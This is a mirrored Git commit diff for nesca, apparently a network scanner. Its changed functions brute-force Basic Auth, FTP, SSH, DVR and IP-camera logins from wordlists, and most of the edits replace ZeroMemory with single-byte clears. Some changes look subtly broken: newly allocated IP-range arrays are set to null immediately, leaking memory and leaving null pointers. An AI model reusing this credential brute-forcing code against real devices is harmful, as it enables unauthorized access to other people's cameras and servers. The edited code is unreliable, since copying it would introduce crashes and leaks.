mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
ip randomization
This commit is contained in:
parent
584c9108d4
commit
ce0f411729
@ -57,14 +57,18 @@ lopaStr BA::BABrute(const char *ip, const int port) {
|
|||||||
Connector con;
|
Connector con;
|
||||||
|
|
||||||
con.nConnect(ip, port, &buff);
|
con.nConnect(ip, port, &buff);
|
||||||
int isDig = Utils::isDigest(&buff);
|
//QString ipString = QString(ip).mid(0, QString(ip).indexOf("/", 8)) + ":" + QString::number(port);
|
||||||
QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
|
QString ipString = QString(ip);
|
||||||
if (isDig == -1) {
|
if (buff.size() == 0) {
|
||||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 found - <a style=\"color:orange;\" href=\"http://" + ipString + "/\">" +
|
stt->doEmitionFoundData("<span style=\"color:orange;\">Empty BA probe - <a style=\"color:orange;\" href=\"" + ipString + "/\">" +
|
||||||
ipString + "</a></span>");
|
ipString + "</a></span>");
|
||||||
strcpy(lps.login, "");
|
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
int isDig = Utils::isDigest(&buff);
|
||||||
|
if (isDig == -1) {
|
||||||
|
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 found - <a style=\"color:orange;\" href=\"" + ipString + "/\">" +
|
||||||
|
ipString + "</a></span>");
|
||||||
|
}
|
||||||
else if (isDig == 1) digestMode = true;
|
else if (isDig == 1) digestMode = true;
|
||||||
else digestMode = false;
|
else digestMode = false;
|
||||||
|
|
||||||
|
@ -9,7 +9,8 @@ int CheckKey_Th::isActiveKey = -1;
|
|||||||
|
|
||||||
void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int szDest)
|
void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int szDest)
|
||||||
{
|
{
|
||||||
ZeroMemory(dest, szDest);
|
//ZeroMemory(dest, szDest);
|
||||||
|
dest[0] = 0;
|
||||||
char *ptr1 = strstri((const char*)src, startStr);
|
char *ptr1 = strstri((const char*)src, startStr);
|
||||||
if(ptr1 != NULL)
|
if(ptr1 != NULL)
|
||||||
{
|
{
|
||||||
@ -24,7 +25,8 @@ void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int
|
|||||||
}
|
}
|
||||||
void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest)
|
void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest)
|
||||||
{
|
{
|
||||||
ZeroMemory(dest, szDest);
|
//ZeroMemory(dest, szDest);
|
||||||
|
dest[0] = 0;
|
||||||
char *ptr1 = strstri((const char*)src, startStr);
|
char *ptr1 = strstri((const char*)src, startStr);
|
||||||
if(ptr1 != NULL)
|
if(ptr1 != NULL)
|
||||||
{
|
{
|
||||||
|
@ -40,7 +40,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
|
|
||||||
lpString = string(login) + ":" + string(pass);
|
lpString = string(login) + ":" + string(pass);
|
||||||
|
|
||||||
ZeroMemory(nip, 128);
|
nip[0] = 0;
|
||||||
sprintf(nip, "ftp://%s", ip);
|
sprintf(nip, "ftp://%s", ip);
|
||||||
Connector con;
|
Connector con;
|
||||||
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
||||||
|
@ -55,7 +55,8 @@ void updateLogin() {
|
|||||||
while(fgets(buffFG, 32, loginList) != NULL)
|
while(fgets(buffFG, 32, loginList) != NULL)
|
||||||
{
|
{
|
||||||
MaxLogin++;
|
MaxLogin++;
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
rewind(loginList);
|
rewind(loginList);
|
||||||
@ -74,7 +75,8 @@ void updateLogin() {
|
|||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(FileUpdater::oldLoginLstSize == 0) stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
if(FileUpdater::oldLoginLstSize == 0) stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||||
@ -108,7 +110,8 @@ void updatePass() {
|
|||||||
while(fgets(buffFG, 32, passList) != NULL)
|
while(fgets(buffFG, 32, passList) != NULL)
|
||||||
{
|
{
|
||||||
MaxPass++;
|
MaxPass++;
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
rewind(passList);
|
rewind(passList);
|
||||||
@ -127,7 +130,8 @@ void updatePass() {
|
|||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(FileUpdater::oldPassLstSize == 0) stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
if(FileUpdater::oldPassLstSize == 0) stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||||
@ -153,7 +157,7 @@ void updateSSH() {
|
|||||||
MaxSSHPass = 0;
|
MaxSSHPass = 0;
|
||||||
|
|
||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
FILE *sshlpList = fopen(SSH_PASS_FN, "r");
|
FILE *sshlpList = fopen(SSH_PASS_FN, "r");
|
||||||
|
|
||||||
@ -162,7 +166,8 @@ void updateSSH() {
|
|||||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||||
{
|
{
|
||||||
++MaxSSHPass;
|
++MaxSSHPass;
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
rewind(sshlpList);
|
rewind(sshlpList);
|
||||||
@ -181,7 +186,8 @@ void updateSSH() {
|
|||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(FileUpdater::oldSSHLstSize == 0) stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
if(FileUpdater::oldSSHLstSize == 0) stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||||
@ -207,7 +213,6 @@ void updateWFLogin() {
|
|||||||
MaxWFLogin = 0;
|
MaxWFLogin = 0;
|
||||||
|
|
||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
|
|
||||||
FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
|
FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
|
||||||
|
|
||||||
@ -216,7 +221,8 @@ void updateWFLogin() {
|
|||||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||||
{
|
{
|
||||||
MaxWFLogin++;
|
MaxWFLogin++;
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
rewind(wfLoginList);
|
rewind(wfLoginList);
|
||||||
@ -235,7 +241,8 @@ void updateWFLogin() {
|
|||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(FileUpdater::oldWFLoginLstSize == 0) stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
if(FileUpdater::oldWFLoginLstSize == 0) stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||||
@ -256,7 +263,6 @@ void updateWFPass() {
|
|||||||
MaxWFPass = 0;
|
MaxWFPass = 0;
|
||||||
|
|
||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
|
|
||||||
FILE *wfPassList = fopen(WF_PASS_FN, "r");
|
FILE *wfPassList = fopen(WF_PASS_FN, "r");
|
||||||
|
|
||||||
@ -265,7 +271,8 @@ void updateWFPass() {
|
|||||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||||
{
|
{
|
||||||
MaxWFPass++;
|
MaxWFPass++;
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
rewind(wfPassList);
|
rewind(wfPassList);
|
||||||
@ -284,7 +291,8 @@ void updateWFPass() {
|
|||||||
|
|
||||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(FileUpdater::oldWFPassLstSize == 0) stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
if(FileUpdater::oldWFPassLstSize == 0) stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||||
@ -305,7 +313,6 @@ void updateFTPLogin() {
|
|||||||
MaxFTPLogin = 0;
|
MaxFTPLogin = 0;
|
||||||
|
|
||||||
char buffFG[32] = { 0 };
|
char buffFG[32] = { 0 };
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
|
|
||||||
FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
|
FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
|
||||||
|
|
||||||
@ -314,7 +321,8 @@ void updateFTPLogin() {
|
|||||||
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||||
{
|
{
|
||||||
MaxFTPLogin++;
|
MaxFTPLogin++;
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
rewind(ftpLoginList);
|
rewind(ftpLoginList);
|
||||||
@ -333,7 +341,8 @@ void updateFTPLogin() {
|
|||||||
|
|
||||||
if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
|
else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
|
if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
|
||||||
@ -354,7 +363,6 @@ void updateFTPPass() {
|
|||||||
MaxFTPPass = 0;
|
MaxFTPPass = 0;
|
||||||
|
|
||||||
char buffFG[32] = { 0 };
|
char buffFG[32] = { 0 };
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
|
||||||
|
|
||||||
FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
|
FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
|
||||||
|
|
||||||
@ -363,7 +371,8 @@ void updateFTPPass() {
|
|||||||
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||||
{
|
{
|
||||||
++MaxFTPPass;
|
++MaxFTPPass;
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
rewind(ftpPassList);
|
rewind(ftpPassList);
|
||||||
@ -382,7 +391,8 @@ void updateFTPPass() {
|
|||||||
|
|
||||||
if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
|
if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
|
else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
//ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
buffFG[0] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
|
if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
|
||||||
|
@ -225,8 +225,10 @@ lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
|
|||||||
for (int j = 0; j < MaxPass; ++j) {
|
for (int j = 0; j < MaxPass; ++j) {
|
||||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
ZeroMemory(login, 64);
|
/*ZeroMemory(login, 64);
|
||||||
ZeroMemory(pass, 64);
|
ZeroMemory(pass, 64);*/
|
||||||
|
login[0] = 0;
|
||||||
|
pass[0] = 0;
|
||||||
strcpy(login, loginLst[i]);
|
strcpy(login, loginLst[i]);
|
||||||
strcpy(pass, passLst[j]);
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
@ -340,8 +342,10 @@ lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort)
|
|||||||
for (int j = 0; j < MaxPass; ++j) {
|
for (int j = 0; j < MaxPass; ++j) {
|
||||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
ZeroMemory(login, 64);
|
/*ZeroMemory(login, 64);
|
||||||
ZeroMemory(pass, 64);
|
ZeroMemory(pass, 64);*/
|
||||||
|
login[0] = 0;
|
||||||
|
pass[0] = 0;
|
||||||
strcpy(login, loginLst[i]);
|
strcpy(login, loginLst[i]);
|
||||||
strcpy(pass, passLst[j]);
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
|
@ -94,7 +94,8 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
{
|
{
|
||||||
if(!globalScanFlag) break;
|
if(!globalScanFlag) break;
|
||||||
if(strcmp(loginLst[i], " ") == 0) continue;
|
if(strcmp(loginLst[i], " ") == 0) continue;
|
||||||
ZeroMemory(login, sizeof(login));
|
//ZeroMemory(login, sizeof(login));
|
||||||
|
login[0] = 0;
|
||||||
strcpy(login, loginLst[i]);
|
strcpy(login, loginLst[i]);
|
||||||
|
|
||||||
for(int j = 0; j < MaxPass; ++j)
|
for(int j = 0; j < MaxPass; ++j)
|
||||||
@ -103,10 +104,12 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
if(!globalScanFlag) break;
|
if(!globalScanFlag) break;
|
||||||
if(strcmp(passLst[j], " ") == 0) continue;
|
if(strcmp(passLst[j], " ") == 0) continue;
|
||||||
|
|
||||||
ZeroMemory(pass, sizeof(pass));
|
//ZeroMemory(pass, sizeof(pass));
|
||||||
|
pass[0] = 0;
|
||||||
strcpy(pass, passLst[j]);
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
ZeroMemory(request, sizeof(request));
|
//ZeroMemory(request, sizeof(request));
|
||||||
|
request[0] = 0;
|
||||||
if(strcmp(SPEC, "IPC") == 0)
|
if(strcmp(SPEC, "IPC") == 0)
|
||||||
{
|
{
|
||||||
sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
|
sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
|
||||||
|
@ -14,7 +14,8 @@ private:
|
|||||||
public:
|
public:
|
||||||
IPC() {
|
IPC() {
|
||||||
doPost = false;
|
doPost = false;
|
||||||
ZeroMemory(postData, 1024);
|
//ZeroMemory(postData, 1024);
|
||||||
|
postData[0] = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
lopaStr IPCLobby(const char *ip, int port, char *SPEC);
|
lopaStr IPCLobby(const char *ip, int port, char *SPEC);
|
||||||
|
177
MainStarter.cpp
177
MainStarter.cpp
@ -68,7 +68,8 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
||||||
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false
|
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false
|
||||||
) ++importFileSize;
|
) ++importFileSize;
|
||||||
ZeroMemory(curIP, sizeof(curIP));
|
curIP[0] = 0;
|
||||||
|
//ZeroMemory(curIP, sizeof(curIP));
|
||||||
};
|
};
|
||||||
fclose(fl);
|
fclose(fl);
|
||||||
}
|
}
|
||||||
@ -78,16 +79,20 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
|
|
||||||
ipsstartfl = new unsigned int*[importFileSize + 1];
|
ipsstartfl = new unsigned int*[importFileSize + 1];
|
||||||
ipsendfl = new unsigned int*[importFileSize + 1];
|
ipsendfl = new unsigned int*[importFileSize + 1];
|
||||||
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
ipsstartfl[0] = 0;
|
||||||
ZeroMemory(ipsendfl, sizeof(ipsendfl));
|
ipsendfl[0] = 0;
|
||||||
|
/*ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
||||||
|
ZeroMemory(ipsendfl, sizeof(ipsendfl));*/
|
||||||
|
|
||||||
for (int i = 0; i < importFileSize; ++i)
|
for (int i = 0; i < importFileSize; ++i)
|
||||||
{
|
{
|
||||||
ipsstartfl[i] = new unsigned int[4];
|
ipsstartfl[i] = new unsigned int[4];
|
||||||
ipsendfl[i] = new unsigned int[4];
|
ipsendfl[i] = new unsigned int[4];
|
||||||
|
|
||||||
ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
|
//ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
|
||||||
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
//ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
||||||
|
ipsstartfl[i] = 0;
|
||||||
|
ipsendfl[i] = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
std::vector<std::string> shuffleArray;
|
std::vector<std::string> shuffleArray;
|
||||||
@ -360,7 +365,8 @@ void MainStarter::saveBackupToFile()
|
|||||||
sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n",
|
sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n",
|
||||||
gMode, endStr, gTLD, gThreads, gPorts);
|
gMode, endStr, gTLD, gThreads, gPorts);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
else if (gMode == -1)
|
else if (gMode == -1)
|
||||||
@ -384,7 +390,8 @@ void MainStarter::saveBackupToFile()
|
|||||||
ipsendfl[gflIndex][2],
|
ipsendfl[gflIndex][2],
|
||||||
ipsendfl[gflIndex][3]);
|
ipsendfl[gflIndex][3]);
|
||||||
fputs(ipRange, savingFile);
|
fputs(ipRange, savingFile);
|
||||||
ZeroMemory(ipRange, sizeof(ipRange));
|
//ZeroMemory(ipRange, sizeof(ipRange));
|
||||||
|
ipRange[0] = 0;
|
||||||
}
|
}
|
||||||
for (int tCounter = gflIndex + 1; tCounter < MainStarter::flCounter; ++tCounter)
|
for (int tCounter = gflIndex + 1; tCounter < MainStarter::flCounter; ++tCounter)
|
||||||
{
|
{
|
||||||
@ -400,7 +407,8 @@ void MainStarter::saveBackupToFile()
|
|||||||
|
|
||||||
fputs(ipRange, savingFile);
|
fputs(ipRange, savingFile);
|
||||||
|
|
||||||
ZeroMemory(ipRange, sizeof(ipRange));
|
//ZeroMemory(ipRange, sizeof(ipRange));
|
||||||
|
ipRange[0] = 0;
|
||||||
};
|
};
|
||||||
fclose(savingFile);
|
fclose(savingFile);
|
||||||
}
|
}
|
||||||
@ -409,80 +417,98 @@ void MainStarter::saveBackupToFile()
|
|||||||
|
|
||||||
sprintf(saveStr, "[SESSION]:%d RESTORE_IMPORT_SESSION %d %s\n", gMode, gThreads, gPorts);
|
sprintf(saveStr, "[SESSION]:%d RESTORE_IMPORT_SESSION %d %s\n", gMode, gThreads, gPorts);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
sprintf(saveStr, "[SESSION]: 0 1.1.1.1/32 0 -p80");
|
sprintf(saveStr, "[SESSION]: 0 1.1.1.1/32 0 -p80");
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
sprintf(saveStr, "[NDBSERVER]:%s\n", trcSrv);
|
sprintf(saveStr, "[NDBSERVER]:%s\n", trcSrv);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[NDBSCRIPT]:%s\n", trcScr);
|
sprintf(saveStr, "[NDBSCRIPT]:%s\n", trcScr);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[NDBPORT]:%s\n", trcSrvPortLine);
|
sprintf(saveStr, "[NDBPORT]:%s\n", trcSrvPortLine);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[PROXY]:%s\n", trcProxy);
|
sprintf(saveStr, "[PROXY]:%s\n", trcProxy);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[PROXYPORT]:%s\n", trcPort);
|
sprintf(saveStr, "[PROXYPORT]:%s\n", trcPort);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[PING]:%s\n", gPingNScan ? "true" : "false");
|
sprintf(saveStr, "[PING]:%s\n", gPingNScan ? "true" : "false");
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[SHUFFLE]:%s\n", gShuffle ? "true" : "false");
|
sprintf(saveStr, "[SHUFFLE]:%s\n", gShuffle ? "true" : "false");
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[NSTRACK]:%s\n", trackerOK ? "true" : "false");
|
sprintf(saveStr, "[NSTRACK]:%s\n", trackerOK ? "true" : "false");
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout);
|
sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[THREAD_DELAY]: %d\n", Threader::gThreadDelay);
|
sprintf(saveStr, "[THREAD_DELAY]: %d\n", Threader::gThreadDelay);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut);
|
sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads);
|
